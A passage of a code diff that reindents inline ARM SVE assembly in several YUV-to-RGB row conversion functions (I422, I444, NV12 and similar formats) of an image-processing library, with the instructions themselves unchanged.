%w[width], %w[vl] \n" - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.gt 1b \n" - "add %w[width], %w[width], %w[vl] \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "sub %w[width], %w[width], %w[vl] \n" + "1: \n" // + READYUV400_SVE I400TORGB_SVE RGBTOARGB8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.gt 1b \n" + "add %w[width], %w[width], %w[vl] \n" - // Calculate a predicate for the final iteration to deal with the tail. - "2: \n" - "whilelt p1.h, wzr, %w[width] \n" // - READYUV400_SVE I400TORGB_SVE RGBTOARGB8_SVE - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - : [src_y] "+r"(src_y), // %[src_y] + // Calculate a predicate for the final iteration to deal with the tail. + "2: \n" + "whilelt p1.h, wzr, %w[width] \n" // + READYUV400_SVE I400TORGB_SVE RGBTOARGB8_SVE + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + : [src_y] "+r"(src_y), // %[src_y] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width), // %[width] [vl] "=&r"(vl) // %[vl] - : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] + : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias) // %[kRGBCoeffBias] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I422ToARGBRow_SVE_SC(const uint8_t* src_y, @@ -371,45 +372,45 @@ static inline void I422ToARGBRow_SVE_SC(const uint8_t* src_y, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm volatile( - "cntb %[vl] \n" - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z19.b, #255 \n" // Alpha - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm volatile( + "cntb %[vl] \n" + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z19.b, #255 \n" // Alpha + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.b \n" - "1: \n" // - READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_2X - "subs %w[width], %w[width], %w[vl] \n" - "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" - "incb %[dst_argb], all, mul #4 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.b \n" + "1: \n" // + READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_2X + "subs %w[width], %w[width], %w[vl] \n" + "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" + "incb %[dst_argb], all, mul #4 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "cnth %[vl] \n" - "whilelt p1.b, wzr, %w[width] \n" // - READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_2X - "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "cnth %[vl] \n" + "whilelt p1.b, wzr, %w[width] \n" // + READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_2X + "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width), // %[width] [vl] "=&r"(vl) // %[vl] - : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] + : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias) // %[kRGBCoeffBias] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I422ToRGB24Row_SVE_SC( @@ -419,44 +420,44 @@ static inline void I422ToRGB24Row_SVE_SC( uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm volatile( - "cntb %[vl] \n" - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm volatile( + "cntb %[vl] \n" + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.b \n" - "1: \n" // - READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_2X - "subs %w[width], %w[width], %w[vl] \n" - "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_argb]] \n" - "incb %[dst_argb], all, mul #3 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.b \n" + "1: \n" // + READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_2X + "subs %w[width], %w[width], %w[vl] \n" + "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_argb]] \n" + "incb %[dst_argb], all, mul #3 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "cnth %[vl] \n" - "whilelt p1.b, wzr, %w[width] \n" // - READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_2X - "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "cnth %[vl] \n" + "whilelt p1.b, wzr, %w[width] \n" // + READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_2X + "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width), // %[width] [vl] "=&r"(vl) // %[vl] - : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] + : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias) // %[kRGBCoeffBias] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } #define RGB8TORGB565_SVE_FROM_TOP_2X \ @@ -473,46 +474,46 @@ static inline void I422ToRGB565Row_SVE_SC( uint8_t* dst_rgb565, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm volatile( - "cntb %[vl] \n" - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm volatile( + "cntb %[vl] \n" + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.b \n" - "1: \n" // - READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X - "subs %w[width], %w[width], %w[vl] \n" // - RGB8TORGB565_SVE_FROM_TOP_2X - "st2h {z18.h, z19.h}, p1, [%[dst]] \n" - "incb %[dst], all, mul #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.b \n" + "1: \n" // + READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X + "subs %w[width], %w[width], %w[vl] \n" // + RGB8TORGB565_SVE_FROM_TOP_2X + "st2h {z18.h, z19.h}, p1, [%[dst]] \n" + "incb %[dst], all, mul #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "cnth %[vl] \n" - "whilelt p1.b, wzr, %w[width] \n" // - READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X - RGB8TORGB565_SVE_FROM_TOP_2X - "st2h {z18.h, z19.h}, p1, [%[dst]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "cnth %[vl] \n" + "whilelt p1.b, wzr, %w[width] \n" // + READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X + RGB8TORGB565_SVE_FROM_TOP_2X + "st2h {z18.h, z19.h}, p1, [%[dst]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst] "+r"(dst_rgb565), // %[dst] [width] "+r"(width), // %[width] [vl] "=&r"(vl) // %[vl] - : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] + : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias) // %[kRGBCoeffBias] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } #define RGB8TOARGB1555_SVE_FROM_TOP_2X \ @@ -532,46 +533,46 @@ static inline void I422ToARGB1555Row_SVE_SC( uint8_t* dst_argb1555, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm volatile( - "cntb %[vl] \n" - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm volatile( + "cntb %[vl] \n" + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.b \n" - "1: \n" // - READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X - "subs %w[width], %w[width], %w[vl] \n" // - RGB8TOARGB1555_SVE_FROM_TOP_2X - "st2h {z0.h, z1.h}, p1, [%[dst]] \n" - "incb %[dst], all, mul #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.b \n" + "1: \n" // + READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X + "subs %w[width], %w[width], %w[vl] \n" // + RGB8TOARGB1555_SVE_FROM_TOP_2X + "st2h {z0.h, z1.h}, p1, [%[dst]] \n" + "incb %[dst], all, mul #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "cnth %[vl] \n" - "whilelt p1.b, wzr, %w[width] \n" // - READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X - RGB8TOARGB1555_SVE_FROM_TOP_2X - "st2h {z0.h, z1.h}, p1, [%[dst]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "cnth %[vl] \n" + "whilelt p1.b, wzr, %w[width] \n" // + READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X + RGB8TOARGB1555_SVE_FROM_TOP_2X + "st2h {z0.h, z1.h}, p1, [%[dst]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst] "+r"(dst_argb1555), // %[dst] [width] "+r"(width), // %[width] [vl] "=&r"(vl) // %[vl] - : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] + : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias) // %[kRGBCoeffBias] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } #define RGB8TOARGB4444_SVE_FROM_TOP_2X \ @@ -591,46 +592,46 @@ static inline void I422ToARGB4444Row_SVE_SC( uint8_t* dst_argb4444, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm volatile( - "cntb %[vl] \n" - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm volatile( + "cntb %[vl] \n" + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.b \n" - "1: \n" // - READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X - "subs %w[width], %w[width], %w[vl] \n" // - RGB8TOARGB4444_SVE_FROM_TOP_2X - "st2h {z0.h, z1.h}, p1, [%[dst]] \n" - "incb %[dst], all, mul #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.b \n" + "1: \n" // + READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X + "subs %w[width], %w[width], %w[vl] \n" // + RGB8TOARGB4444_SVE_FROM_TOP_2X + "st2h {z0.h, z1.h}, p1, [%[dst]] \n" + "incb %[dst], all, mul #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "cnth %[vl] \n" - "whilelt p1.b, wzr, %w[width] \n" // - READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X - RGB8TOARGB4444_SVE_FROM_TOP_2X - "st2h {z0.h, z1.h}, p1, [%[dst]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "cnth %[vl] \n" + "whilelt p1.b, wzr, %w[width] \n" // + READYUV422_SVE_2X I422TORGB_SVE_2X RGBTOARGB8_SVE_TOP_2X + RGB8TOARGB4444_SVE_FROM_TOP_2X + "st2h {z0.h, z1.h}, p1, [%[dst]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst] "+r"(dst_argb4444), // %[dst] [width] "+r"(width), // %[width] [vl] "=&r"(vl) // %[vl] - : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] + : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias) // %[kRGBCoeffBias] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I422ToRGBARow_SVE_SC(const uint8_t* src_y, @@ -639,44 +640,44 @@ static inline void I422ToRGBARow_SVE_SC(const uint8_t* src_y, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm volatile( - "cnth %[vl] \n" - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z19.b, #255 \n" // Alpha - "subs %w[width], %w[width], %w[vl] \n" - "b.le 2f \n" + uint64_t vl; + asm volatile( + "cnth %[vl] \n" + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z19.b, #255 \n" // Alpha + "subs %w[width], %w[width], %w[vl] \n" + "b.le 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "1: \n" // - READYUV422_SVE I4XXTORGB_SVE RGBTORGBA8_SVE - "subs %w[width], %w[width], %w[vl] \n" - "st2h {z19.h, z20.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.gt 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "1: \n" // + READYUV422_SVE I4XXTORGB_SVE RGBTORGBA8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z19.h, z20.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.gt 1b \n" - // Calculate a predicate for the final iteration to deal with the tail. - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + // Calculate a predicate for the final iteration to deal with the tail. + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - "whilelt p1.h, wzr, %w[width] \n" // - READYUV422_SVE I4XXTORGB_SVE RGBTORGBA8_SVE - "st2h {z19.h, z20.h}, p1, [%[dst_argb]] \n" + "whilelt p1.h, wzr, %w[width] \n" // + READYUV422_SVE I4XXTORGB_SVE RGBTORGBA8_SVE + "st2h {z19.h, z20.h}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width), // %[width] [vl] "=&r"(vl) // %[vl] - : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] + : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias) // %[kRGBCoeffBias] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I422AlphaToARGBRow_SVE_SC( @@ -687,50 +688,50 @@ static inline void I422AlphaToARGBRow_SVE_SC( uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm volatile( - "cntb %[vl] \n" - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm volatile( + "cntb %[vl] \n" + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.b \n" - "1: \n" // - READYUV422_SVE_2X - "ld1b {z19.b}, p1/z, [%[src_a]] \n" - "add %[src_a], %[src_a], %[vl] \n" // Alpha - I422TORGB_SVE_2X RGBTOARGB8_SVE_2X - "subs %w[width], %w[width], %w[vl] \n" - "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" - "incb %[dst_argb], all, mul #4 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.b \n" + "1: \n" // + READYUV422_SVE_2X + "ld1b {z19.b}, p1/z, [%[src_a]] \n" + "add %[src_a], %[src_a], %[vl] \n" // Alpha + I422TORGB_SVE_2X RGBTOARGB8_SVE_2X + "subs %w[width], %w[width], %w[vl] \n" + "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" + "incb %[dst_argb], all, mul #4 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "cnth %[vl] \n" - "whilelt p1.b, wzr, %w[width] \n" // - READYUV422_SVE_2X - "ld1b {z19.b}, p1/z, [%[src_a]] \n" // Alpha - I422TORGB_SVE_2X RGBTOARGB8_SVE_2X - "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "cnth %[vl] \n" + "whilelt p1.b, wzr, %w[width] \n" // + READYUV422_SVE_2X + "ld1b {z19.b}, p1/z, [%[src_a]] \n" // Alpha + I422TORGB_SVE_2X RGBTOARGB8_SVE_2X + "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [src_a] "+r"(src_a), // %[src_a] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width), // %[width] [vl] "=&r"(vl) // %[vl] - : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] + : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias) // %[kRGBCoeffBias] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I444AlphaToARGBRow_SVE_SC( @@ -741,49 +742,49 @@ static inline void I444AlphaToARGBRow_SVE_SC( uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm volatile( - "cnth %[vl] \n" - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm volatile( + "cnth %[vl] \n" + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "1: \n" // - READYUV444_SVE - "ld1b {z19.h}, p1/z, [%[src_a]] \n" - "add %[src_a], %[src_a], %[vl] \n" // Alpha - I4XXTORGB_SVE RGBTOARGB8_SVE - "subs %w[width], %w[width], %w[vl] \n" - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "1: \n" // + READYUV444_SVE + "ld1b {z19.h}, p1/z, [%[src_a]] \n" + "add %[src_a], %[src_a], %[vl] \n" // Alpha + I4XXTORGB_SVE RGBTOARGB8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width] \n" // - READYUV444_SVE - "ld1b {z19.h}, p1/z, [%[src_a]] \n" // Alpha - I4XXTORGB_SVE RGBTOARGB8_SVE - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width] \n" // + READYUV444_SVE + "ld1b {z19.h}, p1/z, [%[src_a]] \n" // Alpha + I4XXTORGB_SVE RGBTOARGB8_SVE + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [src_a] "+r"(src_a), // %[src_a] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width), // %[width] [vl] "=&r"(vl) // %[vl] - : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] + : [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias) // %[kRGBCoeffBias] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void NV12ToARGBRow_SVE_SC(const uint8_t* src_y, @@ -791,49 +792,49 @@ static inline void NV12ToARGBRow_SVE_SC(const uint8_t* src_y, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cntb %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - int width_last_uv = width_last_y + (width_last_y & 1); - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z19.b, #255 \n" // Alpha - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cntb %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + int width_last_uv = width_last_y + (width_last_y & 1); + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z19.b, #255 \n" // Alpha + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.b \n" - "ptrue p2.b \n" - "1: \n" // - READNV_SVE_2X NVTORGB_SVE_2X(b, t) RGBTOARGB8_SVE_2X - "subs %w[width], %w[width], %w[vl] \n" - "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.b \n" + "ptrue p2.b \n" + "1: \n" // + READNV_SVE_2X NVTORGB_SVE_2X(b, t) RGBTOARGB8_SVE_2X + "subs %w[width], %w[width], %w[vl] \n" + "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.b, wzr, %w[width_last_y] \n" - "whilelt p2.b, wzr, %w[width_last_uv] \n" // - READNV_SVE_2X NVTORGB_SVE_2X(b, t) RGBTOARGB8_SVE_2X - "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.b, wzr, %w[width_last_y] \n" + "whilelt p2.b, wzr, %w[width_last_uv] \n" // + READNV_SVE_2X NVTORGB_SVE_2X(b, t) RGBTOARGB8_SVE_2X + "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_uv] "+r"(src_uv), // %[src_uv] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y), // %[width_last_y] [width_last_uv] "r"(width_last_uv) // %[width_last_uv] - : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); + : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); } static inline void NV21ToARGBRow_SVE_SC(const uint8_t* src_y, @@ -841,49 +842,49 @@ static inline void NV21ToARGBRow_SVE_SC(const uint8_t* src_y, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cntb %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - int width_last_uv = width_last_y + (width_last_y & 1); - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z19.b, #255 \n" // Alpha - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cntb %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + int width_last_uv = width_last_y + (width_last_y & 1); + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z19.b, #255 \n" // Alpha + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.b \n" - "ptrue p2.b \n" - "1: 